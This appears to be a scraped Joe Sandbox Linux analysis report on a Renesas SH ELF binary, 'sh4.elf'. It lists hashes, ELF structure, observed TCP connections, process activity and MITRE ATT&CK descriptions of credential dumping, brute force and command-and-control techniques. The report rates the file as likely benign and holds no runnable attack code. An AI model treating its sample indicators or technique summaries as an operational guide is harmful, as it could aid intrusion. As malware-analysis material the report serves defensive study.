Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/sh4.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), dynamically linked, stripped
Entropy (8bit):	6.967910666873201
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	83'944 bytes
MD5:	5de069289a8b9818408598e09abf66e0
SHA1:	fdcd4642930bf187ccb05789fd0a8c3f097b12f5
SHA256:	7ce50411aaaa58648c44522eae656de97c804bb42031c5111a1d586d3ae6b630
SHA512:	b42934406212d29aace19f2f2beb9150dd5062c334dae8e5debf7be19d0fd9a5e0b8d5af5b95b3e5e2f78e47783f045bd30c970c1d476434ff4d8641f1ab33a6
SSDEEP:	1536:WakKtvKpTbLgyPf+QPS5W2FlUJP0H8viPGuFdTlnOBr:WnKt6TbLgynDPSX4+ZxFdo
TLSH:	58839E22F4207D66CC1E68B6F4B0C9798B015AB244C61EB2ADEDF1744067E89F54EF6C
File Content Preview:	.ELF.....................@.4...XF......4. ...(...............@...@..D...D..............pE..pEB.pEB.....,H............................................././"O.n......#.@........#.*@....&O.n.l..................................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0xc
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	83544
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x2e	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x11b20	0x0	0x6	AX	32
.fini	PROGBITS	0x411c00	0x11c00	0x22	0x0	0x6	AX	4
.rodata	PROGBITS	0x411c24	0x11c24	0x2870	0x0	0x2	A	4
.ctors	PROGBITS	0x424570	0x14570	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x424578	0x14578	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x424584	0x14584	0x94	0x0	0x3	WA	4
.bss	NOBITS	0x424618	0x14618	0x4784	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x14618	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x14494	0x14494	6.9932	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x14570	0x424570	0x424570	0xa8	0x482c	4.0740	0x6	RW	0x10000	.ctors .dtors .data .bss
DYNAMIC	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 7
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 05:23:55.351092100 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 2, 2025 05:24:00.982258081 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 2, 2025 05:24:02.518156052 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 2, 2025 05:24:15.572535992 CEST	43928	443	192.168.2.23	91.189.91.42
Apr 2, 2025 05:24:27.858707905 CEST	42836	443	192.168.2.23	91.189.91.43
Apr 2, 2025 05:24:31.954102039 CEST	42516	80	192.168.2.23	109.202.202.202
Apr 2, 2025 05:24:56.527221918 CEST	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: sh4.elf PID: 6222, Parent PID: 6140

General

Start time (UTC):	03:23:54
Start date (UTC):	02/04/2025
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh4.elf PID: 6226, Parent PID: 6222

General

Start time (UTC):	03:23:55
Start date (UTC):	02/04/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.93raTH (deleted)

/tmp/qemu-open.C3eP9G (deleted)

/tmp/qemu-open.uq2YqF (deleted)

/tmp/qemu-open.wsVQCF (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: sh4.elf PID: 6222, Parent PID: 6140

General

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh4.elf PID: 6226, Parent PID: 6222

General

File Activities

Linux Analysis Report
sh4.elf